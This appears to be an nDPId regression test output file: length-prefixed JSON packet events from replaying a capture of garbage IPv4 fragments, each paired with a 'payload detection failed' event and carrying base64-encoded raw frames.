+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523324,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523336,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523347,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523374,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523386,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523532,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523590,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523602,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2050,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2051,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523714,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2052,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2053,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2054,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":523791,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 